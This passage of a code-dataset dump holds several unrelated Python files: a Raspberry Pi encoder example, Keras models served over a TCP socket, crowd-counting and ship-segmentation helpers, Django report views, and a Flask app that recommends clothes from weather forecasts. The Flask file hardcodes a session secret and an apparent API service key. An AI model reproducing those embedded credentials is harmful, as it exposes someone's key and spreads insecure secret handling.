range(5,0,-1):\n print(\"\\rBeginning high speed sticky reads in %d\" % i, end='')\n time.sleep(1)\n\nprint(\"\")\n\n# Start asking for the counts and printing to console in a tight loop\nwhile True:\n updateEncoderDataSticky(counts, velocities)\n print (counts, velocities)\n","repo_name":"DigitalChickenLabs/OctoQuad","sub_path":"code_examples/RaspberryPi/RpiSpiExample.py","file_name":"RpiSpiExample.py","file_ext":"py","file_size_in_byte":5451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"650689758","text":"import random\nimport time\nimport csv\n\nindex = 0\nChannel_1 = 100\nChannel_2 = 100\nfieldnames = ['x_value',\"Channel_1\",\"Channel_2\"]\n\nwith open('live_data.csv','w') as csv_file:\n\tcsv_writer = csv.DictWriter(csv_file,fieldnames=fieldnames)\n\tcsv_writer.writeheader()\n\nwhile True:\n\twith open(\"live_data.csv\",'a') as csv_file:\n\t\tcsv_writer = csv.DictWriter(csv_file,fieldnames=fieldnames)\n\t\tinfo = {\n\t\t'x_value':index,\n\t\t'Channel_1': Channel_1,\n\t\t'Channel_2': Channel_2\n\t\t}\n\t\tcsv_writer.writerow(info)\n\t\tprint(index,Channel_1,Channel_2)\n\t\tindex += 1\n\t\tChannel_1 = Channel_1 + random.randint(-5,9)\n\t\tChannel_2 = Channel_2 + random.randint(-4,7)\n\t\t\n\ttime.sleep(1)","repo_name":"navneetpathania/Matplolib-code","sub_path":"create_live_data.py","file_name":"create_live_data.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9112840726","text":"import numpy as np\r\nimport h5py\r\nimport math\r\n\r\nfrom keras.models import Sequential, Model, load_model\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization,Input\r\nfrom keras.utils import np_utils\r\nfrom keras import regularizers\r\nfrom numpy import genfromtxt\r\nfrom matplotlib import pyplot as plt\r\nfrom keras.utils import plot_model\r\nfrom keras.callbacks import EarlyStopping\r\nimport socket\r\nfrom threading import Thread\r\nimport time\r\n\r\n\r\ndef sock_connection(sock, host,models):\r\n while True:\r\n\r\n\r\n print('waiting')\r\n data = newsock.recv(100)\r\n print('kyk')\r\n\r\n data += newsock.recv(4096)\r\n\r\n data1 = data.decode('utf-8')\r\n print(data1)\r\n\r\n lines = data1.splitlines()\r\n print(lines)\r\n arr = np.fromstring(data1, sep=',')\r\n arr = np.reshape(arr, (1, 9))\r\n for a in lines:\r\n print(a)\r\n o = np.fromstring(a, sep=',')\r\n print(o)\r\n o = np.reshape(o, (1, 9))\r\n\r\n arr = np.append(arr, o, 0)\r\n\r\n arr = np.delete(arr, 0, 0)\r\n data=retString(arr)\r\n #time.sleep(1)\r\n newsock.send(data.encode('utf-8'))\r\n\r\n return\r\n\r\n\r\ndef retString(arr):\r\n\r\n toret=''\r\n\r\n Models[0].predictArray(Models[0],Models[1], arr)\r\n for o in Models[0].Result:\r\n toret=toret+str(o[0])+','+str(o[1])+'\\n'\r\n\r\n print(toret)\r\n return toret\r\n # print()\r\n\r\n\r\nclass MyModel:\r\n 'Common base class for all employees'\r\n empCount = 0\r\n\r\n\r\n def doThis(self,X):\r\n\r\n self.X=X\r\n\r\n\r\n\r\n\r\n\r\n def __init__(self, X, Y,layerNum,features,NodesMultipliedByLayers,LayerStandardWidth,dropoutPercentage,epochs,Xval,YVal):\r\n self.epochs=epochs\r\n self.NodesMultipliedByLayers=NodesMultipliedByLayers\r\n self.LayerStandardWidth=LayerStandardWidth\r\n self.dropoutPercentage=dropoutPercentage\r\n self.inputFeautures=features\r\n self.name='5Linear'+str(layerNum)+'Layers'+str(LayerStandardWidth)+'Width'+str(dropoutPercentage)+'dropout'+str(Xval)+'Xval'\r\n self.layers=layerNum\r\n self.X = np.delete(X, [9, 10], 1)\r\n self.Y = np.delete(Y, np.s_[0:9], 1)\r\n self.Yy = np.array(self.Y, copy=True)\r\n self.Y = np.delete(self.Y, 1, 1)\r\n self.Yy = np.delete(self.Yy, 0, 1)\r\n self.AccurateY= np.array(self.Y, copy=True)\r\n self.AccurateYy=np.array(self.Yy, copy=True)\r\n self.AccurateY= self.AccurateY[2124:, :]\r\n self.AccurateYy= self.AccurateYy[2124:, :]\r\n self.giveAModelNum()\r\n\r\n\r\n\r\n def giveMeAngle(self,x,y):\r\n toRet=[]\r\n for i in self.X:\r\n toRet.append((math.atan2(i[x], i[y])))\r\n opas=np.array(toRet)\r\n opas=np.reshape(opas,[len(opas),1])\r\n return opas\r\n\r\n def combineValues(self):\r\n i = 0\r\n j = 0\r\n z = 0\r\n while i < 28:\r\n while j < 12:\r\n Y2indices = (self.Y == i) & (self.Yy == j)\r\n self.NewY[Y2indices] = z\r\n j += 1\r\n z += 1\r\n j = 0\r\n i += 1\r\n\r\n self.NewYCopy = np.array(self.NewY, copy=True)\r\n self.NewY = np_utils.to_categorical(self.NewY, 336)\r\n #self.differentProbabilities4()\r\n\r\n\r\n def giveAModelNum(self):\r\n input1 = Input(shape=(9,), name='input1',)\r\n # input2=Input(shape=(84,),name='input2')\r\n\r\n # Together=concatenate([input1,input2])\r\n i = self.layers\r\n oneMoreLayer=(BatchNormalization())(input1)\r\n oneMoreLayer = Dense(self.LayerStandardWidth * (i - 3),kernel_initializer='normal', activation='relu')(oneMoreLayer)\r\n oneMoreLayer = Dense(self.LayerStandardWidth * (i -4),kernel_initializer='normal', activation='relu')(oneMoreLayer)\r\n oneMoreLayer = Dense(self.LayerStandardWidth * (i - 5),kernel_initializer='normal', activation='relu')(oneMoreLayer)\r\n\r\n outX = Dense(1,kernel_initializer='normal', name='outX')(oneMoreLayer)\r\n\r\n model = Model(inputs=[input1], outputs=[outX])\r\n\r\n model.compile(loss='mse',\r\n optimizer='adam')\r\n\r\n self.model=model\r\n\r\n plot_model(model, self.name+'Arch.png', True)\r\n # AngleModel.fit([X2[:2624, :]], [NewY[:2624, :]],\r\n # epochs=1500, batch_size=2048, validation_split=0.05)\r\n\r\n\r\n def trainMeSenpai(self,epochs):\r\n\r\n history=self.model.fit([self.X[:2124, :]], [self.Y[:2124, :]],\r\n epochs=epochs, batch_size=2048,validation_split=0.2,verbose=1)\r\n self.model.save(self.name+'Model.h5')\r\n def trainMeSenpaiY(self,epochs):\r\n\r\n history=self.model.fit([self.X[:2124, :]], [self.Yy[:2124, :]],\r\n epochs=epochs, batch_size=2048,validation_split=0.2,verbose=1)\r\n self.model.save(self.name+'Model.h5')\r\n\r\n\r\n\r\n def LoadMeSenpai(self):\r\n\r\n self.model = load_model(self.name+'Model.h5')\r\n\r\n def predictArray(self,mymodel1,mymodel2,X):\r\n\r\n\r\n self.doThis(X)\r\n X=self.X\r\n arr = mymodel1.model.predict([self.X[:, :]], batch_size=8, verbose=1)\r\n arr1 = mymodel2.model.predict([self.X[:, :]], batch_size=8, verbose=1)\r\n self.Result = np.append(arr, arr1, 1)\r\n return self.Result\r\n\r\n\r\n def predict(self):\r\n arr = self.model.predict([self.X[2124:, :]], batch_size=32, verbose=1)\r\n arr=np.append(arr,self.AccurateY,1)\r\n for a in arr:\r\n print(a)\r\n\r\n i=9\r\n while i>0:\r\n print('------------------------------------------------')\r\n i-=1\r\n def predictY(self):\r\n arr = self.model.predict([self.X[2124:, :]], batch_size=32, verbose=1)\r\n arr=np.append(arr,self.AccurateYy,1)\r\n for a in arr:\r\n print(a)\r\n\r\n\r\nnp.random.seed(42)\r\nX = genfromtxt('newd2.csv', delimiter=',')\r\nY = genfromtxt('newd2.csv', delimiter=',')\r\nX1=np.delete(X,0,0)\r\nnp.random.shuffle(X1)\r\n\r\nY1=X1\r\n\r\nDefaultWidth=32\r\nDefaultDropout=0\r\nDefaultLayers=7\r\nModels=[]\r\ni=0\r\nlayers=DefaultLayers\r\nfeatures=9\r\nMulti=True\r\ndropout=DefaultDropout#0 0.1 0.2 0.05 0.15 0.25\r\nepochs=1500\r\nwidth=DefaultWidth\r\nuse=[]\r\nnumOfSeparation=0\r\nModels.append(MyModel(X1, Y1, layers, features, Multi, width, dropout, epochs,-8-(7-numOfSeparation)*0.125,-4-(7-numOfSeparation)*0.125))\r\nModels[i].trainMeSenpai(870)\r\nModels[i].predict()\r\n\r\ni+=1\r\nModels.append(MyModel(X1, Y1, layers, features, Multi, width, dropout, epochs,-8-(7-numOfSeparation)*0.125,-4-(7-numOfSeparation)*0.125))\r\nModels[i].trainMeSenpaiY(870)\r\nModels[i].predictY()\r\n#Models[i].LoadMeSenpai()\r\n\r\n\r\nprint('server')\r\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n# now connect to the web server on port 80 - the normal http port\r\n#s.connect((\"www.python.org\", 80))\r\nserversocket.bind(('192.168.0.4', 1002))\r\n# become a server socket\r\nserversocket.listen(5)\r\n\r\nwhile True:\r\n\r\n\r\n\r\n newsock,addr = serversocket.accept()\r\n # data=newsock.recv(1024)\r\n #print(data.decode('utf-8'))\r\n # data='fas'\r\n #newsock.send(data.encode('utf-8'))\r\n sock_connection(newsock,addr,Models)\r\n #thread = Thread(target=sock_connection, args=[newsock,addr,Models])\r\n #thread.start()\r\n\r\n","repo_name":"amyrneto/Simulator","sub_path":"SimulatorTests/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":7223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70838482605","text":"import os\nimport cv2\nimport glob\nimport h5py\nimport pathlib\nimport argparse\nimport numpy as np\nimport os.path as osp\nfrom scipy.ndimage.filters import gaussian_filter\nfrom scipy.io import loadmat\n\nfrom misc.utilities import vis_density, vis_dot_map\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Script for preprocess dataset UCSD')\n\n parser.add_argument('--data-root', type=str,\n default='~/workspace/datasets/UCSD',\n help='path to the raw dataset')\n parser.add_argument('--destination', type=str,\n default=None,\n help='path to the processed data')\n parser.add_argument('--resize-shape', type=int, nargs='+',\n default=None,\n help='path to the processed data')\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n src_data_root = args.data_root\n dst_data_root = args.destination\n resize_shape = args.resize_shape\n\n if dst_data_root is None:\n project_path = pathlib.Path(__file__).parent.parent.parent\n dst_data_root = osp.join(project_path, 'processed_data/UCSD')\n else:\n dst_data_root = osp.join(osp.abspath(dst_data_root), 'UCSD')\n print('Processed files will be saved in: ', osp.abspath(dst_data_root))\n\n print('-' * 10, f'Processing data', '-' * 50)\n\n src_img_dir = osp.join(src_data_root, 'vidf')\n src_ann_dir = osp.join(src_data_root, 'vidf-cvpr')\n dst_train_data_root = osp.join(dst_data_root, 'train_data')\n dst_test_data_root = osp.join(dst_data_root, 'test_data')\n dst_train_img_dir = osp.join(dst_train_data_root, 'imgs')\n dst_train_den_dir = osp.join(dst_train_data_root, 'dens')\n dst_test_img_dir = osp.join(dst_test_data_root, 'imgs')\n dst_test_den_dir = osp.join(dst_test_data_root, 'dens')\n\n os.makedirs(dst_train_img_dir, exist_ok=True)\n os.makedirs(dst_train_den_dir, exist_ok=True)\n os.makedirs(dst_test_img_dir, exist_ok=True)\n os.makedirs(dst_test_den_dir, exist_ok=True)\n\n src_seq_list = glob.glob(osp.join(src_ann_dir, '*_count_roi_mainwalkway.mat'))\n src_seq_list = [osp.basename(x).strip('_count_roi_mainwalkway.mat') for x in src_seq_list]\n src_seq_list = sorted(src_seq_list, key=lambda s: int(s.split('_')[-1]))\n\n roi_file_path = osp.join(src_ann_dir, 'vidf1_33_roi_mainwalkway.mat')\n try:\n roi_file = loadmat(roi_file_path)\n except FileNotFoundError:\n print('No such file or directory: ', roi_file_path)\n return\n roi = roi_file['roi']['mask'][0][0] # shape: (158, 238)\n\n for i, seq_name in enumerate(src_seq_list):\n src_img_path_list = glob.glob(osp.join(src_img_dir, seq_name + '.y', '*.png'))\n src_img_path_list = sorted(src_img_path_list, key=lambda s: int(osp.basename(s)[-7:-4]))\n\n src_cnt_path = osp.join(src_ann_dir, seq_name + '_count_roi_mainwalkway.mat')\n src_den_path = osp.join(src_ann_dir, seq_name + '_frame_full.mat')\n\n cnt_all = loadmat(src_cnt_path)\n den_all = loadmat(src_den_path)['frame'][0]\n\n for j, src_img_path in enumerate(src_img_path_list):\n print(' [Seq: {:2d}/{:2d}] [Image: {:3d}/{:3d}] Path: {:s}'.format(\n i + 1, len(src_seq_list), j + 1, len(src_img_path_list), src_img_path))\n\n img_name = osp.basename(src_img_path)\n gt_points = den_all[j][0][0]['loc']\n gt_count = gt_points.shape[0]\n\n img = cv2.imread(src_img_path, cv2.IMREAD_GRAYSCALE)\n dot_map = np.zeros(img.shape)\n\n src_h, src_w = img.shape\n if resize_shape is None:\n dst_h, dst_w = src_h, src_w\n else:\n dst_h, dst_w = resize_shape[0], resize_shape[1]\n rate_h, rate_w = src_h / dst_h, src_w / dst_w\n\n # resize img\n img = cv2.bitwise_or(img, img, mask=roi)\n img = cv2.resize(img, (dst_w, dst_h))\n\n for point in gt_points:\n x = min(int(point[0] / rate_w), dst_w - 1)\n y = min(int(point[1] / rate_h), dst_h - 1)\n\n dot_map[y, x] = 1\n\n density = gaussian_filter(dot_map, sigma=5) * roi\n\n scene, frame = img_name[9:12], img_name[-7:-4]\n save_name = 's{:s}_f{:s}'.format(scene, frame)\n if 3 <= int(scene) <= 6:\n dst_img_path = osp.join(dst_train_img_dir, save_name + '.png')\n dst_den_path = osp.join(dst_train_den_dir, save_name + '.h5')\n else:\n dst_img_path = osp.join(dst_test_img_dir, save_name + '.png')\n dst_den_path = osp.join(dst_test_den_dir, save_name + '.h5')\n\n cv2.imwrite(dst_img_path, img)\n\n # with h5py.File(dst_den_path, 'w') as hf:\n # hf['density'] = density\n # hf.close()\n\n vis_density(img, density,\n save_path=dst_den_path.replace('.h5', '_den.jpg'),\n show_img=True)\n\n # vis_dot_map(img, dot_map,\n # save_path=dst_den_path.replace('.h5', '_dot.jpg'),\n # show_img=False)\n\n print('\\nDone!\\n')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Fang-Lansheng/EasyCounting","sub_path":"datasets/UCSD/generate_dataset.py","file_name":"generate_dataset.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5946344984","text":"#!/usr/bin/python\nimport sys\nimport matplotlib as plt\nimport time\nimport subprocess\nfrom statistics import mean\nMM0 = []\nMM1 = []\n\nB = \"60\"\nC = \"4\"\nG = \"800000\"\n\nfor x in range(0,4):\n\tresult0 = subprocess.run([\"MM2chain00\", G], stdout=subprocess.PIPE)\n\tresult0 = result0.stdout\n\n\t#print(str(result))\n\n\tresult0 = float(result0[202:210])\n\n\tprint(result0)\n\n\tresult1 = subprocess.run([\"MM2chain01\", G], stdout=subprocess.PIPE)\n\tresult1 = result1.stdout\n\n\t#print(str(result))\n\n\tresult1 = float(result1[202:210])\n\n\tprint(result1)\n\n\tMM0.append(result0)\n\tMM1.append(result1)\n\n\nprint(MM0)\nprint(MM1)\nprint(mean(MM0))\nprint(mean(MM1))\n\n\nf = open(\"demofile.txt\", \"a\")\nf.write( \"B: \" + B + \" C: \"+ C + \" G: \" + G + \" MM2chain00 gpu time: \" + str(mean(MM0)) +\" MM2chain00 gpu time: \" + str(mean(MM1)) + \" speedup: \" + str(mean(MM0)/mean(MM1)) + \"\\n\")\n\n","repo_name":"brucdarc/cs475","sub_path":"proj/PA5/PA5/graphshit.py","file_name":"graphshit.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30931570603","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport os\n\n# Run length encoding function\n# ref: https://www.kaggle.com/paulorzp/run-length-encode-and-decode\ndef rle_encode(img):\n '''\n img: numpy array, 1 - mask, 0 - background\n Returns run length as string formated\n '''\n pixels = img.flatten()\n pixels = np.concatenate([[0], pixels, [0]])\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 1\n runs[1::2] -= runs[::2]\n return ' '.join(str(x) for x in runs)\n\n\n# Run length decoding function\ndef rle_decode(mask_rle, shape=(768, 768)):\n '''\n mask_rle: run-length as string formated (start length)\n shape: (height,width) of array to return \n Returns numpy array, 1 - mask, 0 - background\n '''\n s = mask_rle.split()\n starts, lengths = [np.asarray(x, dtype=int) for x in (s[0:][::2], s[1:][::2])]\n starts -= 1\n ends = starts + lengths\n img = np.zeros(shape[0]*shape[1], dtype=np.uint8)\n for lo, hi in zip(starts, ends):\n img[lo:hi] = 1\n return img.reshape(shape).T # Needed to align to RLE direction\n\n\n# Get n stratified samples from the entire training dataset. The samples should have similar distributions of images with\n# number of ships in an image as the traning dataset.\ndef get_n_stratified_samples(size = 10000):\n\n sample_ratio = size/131030\n\n df = pd.read_csv('train_ship_segmentations.csv')\n df['ship_count'] = df.groupby('ImageId')['ImageId'].transform('count')\n y = df.pop('ship_count')\n X = df\n X_train, X_test, y_train, y_test = train_test_split( X, y, test_size = sample_ratio, random_state=42, stratify=y)\n return X_test.ImageId.tolist()\n\n# Compute intersection over union\ndef iou(img_true, img_pred):\n i = np.sum((img_true*img_pred) >0)\n u = np.sum((img_true + img_pred) >0) + 0.0000000000000000001 # avoid division by zero\n return i/u\n\n\n# Compute the average F2 score for all iou threshold\ndef f2(masks_true, masks_pred):\n\n thresholds = [0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95]\n \n # a correct prediction on no ships in image would have F2 of zero (according to formula),\n # but should be rewarded as 1\n if np.sum(masks_true) == np.sum(masks_pred) == 0:\n return 1.0\n \n f2_total = 0\n ious = {}\n for t in thresholds:\n tp,fp,fn = 0,0,0\n for i,mt in enumerate(masks_true):\n found_match = False\n for j,mp in enumerate(masks_pred):\n key = 100 * i + j\n if key in ious.keys():\n miou = ious[key]\n else:\n miou = iou(mt, mp)\n ious[key] = miou # save for later\n if miou >= t:\n found_match = True\n if not found_match:\n fn += 1\n \n for j,mp in enumerate(masks_pred):\n found_match = False\n for i, mt in enumerate(masks_true):\n miou = ious[100*i+j]\n if miou >= t:\n found_match = True\n break\n if found_match:\n tp += 1\n else:\n fp += 1\n f2 = (5*tp)/(5*tp + 4*fn + fp)\n f2_total += f2\n \n return f2_total/len(thresholds)\n\nif __name__ == \"__main__\":\n print(get_n_stratified_samples()) \n \n\n\n\n\n\n","repo_name":"apoorvabapat/aibuschallenge","sub_path":"helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39314549417","text":"from .views import *\nfrom django.template.loader import render_to_string\nfrom django.http import JsonResponse\nfrom django.db.models.functions import TruncMonth\n\nfrom .tools import initial_date\n\n\ndef ajax_analyse_vendors(request):\n data = dict()\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n vendor_name = request.GET.getlist('vendor_name[]', None)\n current_orders = Order.objects.filter(day_created__range=[date_start, date_end])\n current_orders = current_orders.filter(vendor__id__in=vendor_name) if vendor_name else current_orders\n current_analysis = current_orders.values('vendor__title').annotate(total_sum=Sum('total_price'))\n\n last_year_start, last_year_end = date_start - relativedelta(year=1), date_end -relativedelta(year=1)\n last_year_orders = Order.objects.filter(day_created__range=[last_year_start, last_year_end])\n last_year_orders = last_year_orders.filter(vendor__id__in=vendor_name) if vendor_name else last_year_orders\n last_year_analysis = current_orders.values('vendor__title').annotate(total_sum=Sum('total_price'))\n\n context = locals()\n data['test'] = render_to_string(request=request, template_name='report/ajax/vendor_analysis.html', context=context)\n return JsonResponse(data)\n\n\ndef ajax_vendors_page_analysis(request):\n data = dict()\n queryset = Vendor.objects.all()\n vendor_name, balance_name, search_pro, queryset = vendors_filter(request, queryset)\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n\n if request.GET.get('choice') == 'month':\n orders = Order.objects.filter(date_created__range=[date_start, date_end], vendor__id__in=vendor_name)\n month_data = orders.annotate(month=TruncMonth('date_created')).values('month')\\\n .annotate(total_cost=Sum('total_price'),\n total_paid=Sum('paid_value'))\n data['content'] = render_to_string(request=request,\n template_name='report/ajax/warehouse/vendors_analysis.html',\n context={'month_data': month_data,\n 'currency': CURRENCY\n }\n )\n return JsonResponse(data)\n\n\ndef ajax_warehouse_category_analysis(request):\n data = {}\n data_type = request.GET.get('data_type')\n date_start, date_end = initial_date(request)\n category_name = request.GET.getlist('category_name')\n vendor_name = request.GET.getlist('vendor_name')\n\n if data_type == 'warehouse':\n queryset = OrderItem.objects.filter(order__date_expired__range=[date_start, date_end])\n queryset = queryset.filters_data(request, queryset)\n queryset_analysis = ''\n\n return JsonResponse(data)\n\n\ndef ajax_warehouse_product_movement_vendor_analysis(request):\n data = dict()\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n search_name, payment_name, is_paid_name, vendor_name, category_name, status_name, date_pick = filters_name(\n request)\n warehouse_order_items = get_filters_warehouse_order_items(request, OrderItem.objects.filter(\n order__day_created__range=[date_start, date_end]))\n product_analysis = warehouse_order_items.values('product').annotate(\n total_sum=Sum('total_clean_value')).order_by('-total_sum')\n category_analysis = warehouse_order_items.values('product__vendor__title').annotate(total_sum=Sum('total_clean_value'))\n data['product_analysis'] = render_to_string(request=request, template_name='report/ajax/warehouse-product-flow-analysis.html', context={'product_analysis': product_analysis,})\n return JsonResponse(data)\n\n\n\n\n@staff_member_required\ndef ajax_balance_sheet_warehouse_orders(request):\n data = dict()\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n warehouse_orders = Order.objects.filter(day_created__range=[date_start, date_end])\n vendor_analysis = warehouse_orders.values('vendor__title').annotate(total_cost=Sum('total_price'),\n total_paid=Sum('paid_value'),\n ).order_by('-total_cost')\n print(vendor_analysis)\n context = locals()\n data['vendor_analysis'] = render_to_string(request=request, template_name='report/ajax/balance_sheet_warehouse_orders.html', context=context)\n return JsonResponse(data)\n\n\n@staff_member_required\ndef ajax_balance_sheet_payroll(request):\n data = dict()\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n payroll_orders = PayrollInvoice.objects.filter(date_expired__range=[date_start, date_end])\n get_type = request.GET.get('request_type', None)\n data_analysis = payroll_orders.values('person__title').annotate(total_cost=Sum('value')\n ).order_by('-total_cost')\n if get_type == 'occupation':\n data_analysis = payroll_orders.values('person__occupation__title').annotate(total_cost=Sum('value')\n ).order_by('-total_cost')\n context = locals()\n data['payroll_analysis'] = render_to_string(request=request, template_name='report/ajax/ajax_payroll_balance_sheet.html', context=context)\n return JsonResponse(data)\n\n\n@staff_member_required\ndef ajax_vendor_detail_product_analysis(request):\n data = {}\n\n\n@staff_member_required\ndef ajax_retail_orders_payment_analysis(request):\n data = dict()\n date_start, date_end, date_range, months_list = estimate_date_start_end_and_months(request)\n queryset = RetailOrder.my_query.sells_orders(date_start, date_end)\n queryset, search_name, store_name, seller_name, order_type_name, status_name, is_paid_name, date_pick = \\\n retail_orders_filter(request, queryset)\n data_analysis = queryset.values('payment_method__title').annotate(total_data=Sum('final_price')).order_by('total_data')\n context = locals()\n data['payment_analysis'] = render_to_string(request=request,\n template_name='report/ajax/retail_analysis.html',\n context=context,\n )\n return JsonResponse(data)\n ","repo_name":"Zefarak/my_shop","sub_path":"reports/ajax_views.py","file_name":"ajax_views.py","file_ext":"py","file_size_in_byte":6560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16664778934","text":"from flask import Flask, render_template, jsonify, request, redirect, url_for, session\nfrom pymongo import MongoClient\nimport datetime # 날짜시간모듈\nfrom datetime import date, datetime, timedelta # 현재 날짜 외의 날짜 구하기 위한 모듈\nimport requests\nimport json # json 파일 파싱하여 데이터 읽는 모듈\nfrom flask_bcrypt import Bcrypt\nfrom flask_session import Session\n\napp = Flask(__name__)\nbcrypt = Bcrypt(app)\n\napp.secret_key = 'sdkmcslkcmks'\napp.permanent_session_lifetime = timedelta(minutes=20)\n\nclient = MongoClient('localhost', 27017)\ndb = client.dbweather\n\n# @app.route('/', methods=['GET'])\n# def home():\n# return render_template('index.html')\n\n@app.route('/')\ndef main():\n # session있는지 확인 없으면 로그인화면으로 리다이렉트\n if session_check() == False:\n return redirect(url_for('login'))\n\n # 사용자 정보\n userID = session['userID']\n userData = db.users.find_one({'userID': userID})\n area = userData['area']\n goingToOffice = userData['goingToOffice'] + '00'\n goingToOfficeEnd = str(int(goingToOffice) + 100)\n goingHome = userData['goingHome'] + '00'\n goingHomeEnd = str(int(goingHome) + 100)\n\n # 동네 위경도\n village_data = db.grid.find_one({'village': area})\n x = village_data['x']\n y = village_data['y']\n \n # 기상청 단기예보 조회서비스 api 데이터 url 주소\n weather_url = \"http://apis.data.go.kr/1360000/VilageFcstInfoService_2.0/getVilageFcst?\"\n\n # 발급 받은 인증키(Encoding)\n service_key = \"pZ8v2mCXxDSt%2FQI%2FQDevXC2qiy5pgglRf5f%2BYAUilg2ijTpqIig8oKvFyqUT5pkMrdNMZ1WuhJ6AdKymzBrsmQ%3D%3D\"\n\n now = datetime.now()\n \n # 어제\n yesterday = date.today() - timedelta(days=1)\n yesterday_date = yesterday.strftime('%Y%m%d')\n\n # 오늘\n today = datetime.today() # 현재 지역 날짜 반환\n today_date = today.strftime(\"%Y%m%d\") # 오늘의 날짜 (연도/월/일 반환)\n print(today_date)\n\n # 내일\n tomorrow = date.today() + timedelta(days=1)\n tomorrow_date = tomorrow.strftime('%Y%m%d')\n\n # 하루에 8번 데이터 업데이트 됨. (0200, 0500, 0800, 1100, 1400, 1700, 2000, 2300)\n # api를 가져오려는 시점의 이전 발표시각에 업데이트된 데이터를 base_time, base_date로 설정 -> 취소\n # 기본값: api를 가져오는 날짜의 전날 23시에 발표된 데이터를 base_time, base_date로 설정\n base_date = yesterday_date # yesterday_date\n base_time = \"2300\" # \"2300\"\n\n payload = \"serviceKey=\" + service_key + \"&\" +\\\n \"pageNo=\" + '1' + '&' +\\\n \"numOfRows=\" + '530' + '&' +\\\n \"dataType=json\" + \"&\" +\\\n \"base_date=\" + base_date + \"&\" +\\\n \"base_time=\" + base_time + \"&\" +\\\n \"nx=\" + x + \"&\" +\\\n \"ny=\" + y\n \n res = requests.get(weather_url + payload)\n \n clothes_txt = ''\n msg = ''\n img = ''\n max_TMP = ''\n min_TMP = ''\n umbrella = ''\n clothes_txt_t = ''\n msg_t = ''\n img_t = ''\n max_TMP_t = ''\n min_TMP_t = ''\n umbrella_t = ''\n\n try:\n items = res.json().get('response').get('body').get('items')\n tmp_list = []\n state_list = []\n tmp_list_t = []\n state_list_t = []\n\n for item in items['item']:\n if item['fcstDate'] == today_date and item['fcstTime'] in [goingToOffice, goingToOfficeEnd, goingHome, goingHomeEnd]: \n # 기온\n if item['category'] == 'TMP':\n tmp_list.append(int(item['fcstValue']))\n\n # 기상상태\n if item['category'] == 'PTY':\n weather_code = item['fcstValue']\n\n if weather_code == '1':\n weather_state = '비'\n elif weather_code == '2':\n weather_state = '비/눈'\n elif weather_code == '3':\n weather_state = '눈'\n elif weather_code == '4':\n weather_state = '소나기'\n else:\n weather_state = '없음'\n \n state_list.append(weather_state)\n\n elif item['fcstDate'] == tomorrow_date and item['fcstTime'] in [goingToOffice, goingToOfficeEnd, goingHome, goingHomeEnd]:\n if item['category'] == 'TMP':\n tmp_list_t.append(int(item['fcstValue']))\n elif item['category'] == 'PTY':\n weather_code = item['fcstValue']\n\n if weather_code == '1':\n weather_state = '비'\n elif weather_code == '2':\n weather_state = '비/눈'\n elif weather_code == '3':\n weather_state = '눈'\n elif weather_code == '4':\n weather_state = '소나기'\n else:\n weather_state = '없음'\n\n state_list_t.append(weather_state)\n\n max_TMP = max(tmp_list)\n min_TMP = min(tmp_list)\n umbrella = 'Nope! 날씨가 좋네요 :)'\n max_TMP_t = max(tmp_list_t)\n min_TMP_t = min(tmp_list_t)\n umbrella_t = 'Nope! 날씨가 좋네요 :)'\n\n for state in state_list:\n if state == '비':\n umbrella = '비가 와요. 우산을 꼭 챙겨주세요!'\n elif state == '비/눈':\n umbrella = '비 또는 눈이 와요. 우산 꼭 챙겨주세요!'\n elif state == '눈':\n umbrella = '눈이 와요. 우산을 꼭 챙기세요! 장갑도요!'\n elif state == '소나기':\n umbrella = '소나기가 와요. 우산을 꼭 챙겨주세요!'\n for state in state_list_t:\n if state == '비':\n umbrella_t = '비가 와요. 우산을 꼭 챙겨주세요!'\n elif state == '비/눈':\n umbrella_t = '비 또는 눈이 와요. 우산 꼭 챙겨주세요!'\n elif state == '눈':\n umbrella_t = '눈이 와요. 우산을 꼭 챙기세요! 장갑도요!'\n elif state == '소나기':\n umbrella_t = '소나기가 와요. 우산을 꼭 챙겨주세요!'\n\n \n clothes_list = []\n msg_list = []\n img = ''\n chk = 0\n for tmp in [max_TMP, min_TMP]:\n if tmp <= 5:\n clothes_data = db.clothes.find_one({'high_TMP': 5})\n if chk != 1:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 1\n elif tmp <= 9:\n clothes_data = db.clothes.find_one({'high_TMP': 9})\n if chk != 2:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 2\n elif tmp <= 11:\n clothes_data = db.clothes.find_one({'high_TMP': 11})\n if chk != 3:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 3\n elif tmp <= 16:\n clothes_data = 